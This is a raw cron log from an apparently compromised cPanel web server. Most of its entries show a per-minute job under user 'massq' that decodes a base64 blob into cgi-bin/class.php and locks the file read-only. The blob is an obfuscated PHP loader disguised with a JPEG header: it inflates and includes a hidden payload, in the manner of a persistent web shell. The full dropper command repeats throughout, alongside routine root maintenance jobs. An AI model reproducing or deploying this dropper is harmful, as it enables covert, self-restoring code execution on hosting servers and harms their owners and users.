pLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:28:01 server CROND[31957]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:29:01 server CROND[32690]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:30:01 server CROND[563]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 03:30:01 server CROND[562]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 03:30:01 server CROND[565]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 03:30:01 server CROND[567]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:31:01 server CROND[1584]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:32:01 server CROND[2449]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:33:01 server CROND[3168]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:34:01 server CROND[3969]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:35:01 server CROND[4841]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 03:35:01 server CROND[4842]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 03:35:01 server CROND[4844]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 03:35:01 server CROND[4846]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 03:35:01 server CROND[4847]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:36:01 server CROND[5840]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:37:01 server CROND[6817]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:38:01 server CROND[7690]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:39:01 server CROND[8570]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:39:01 server CROND[8571]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 03:40:01 server CROND[9601]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:40:01 server CROND[9602]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 03:40:01 server CROND[9603]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 03:40:01 server CROND[9604]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
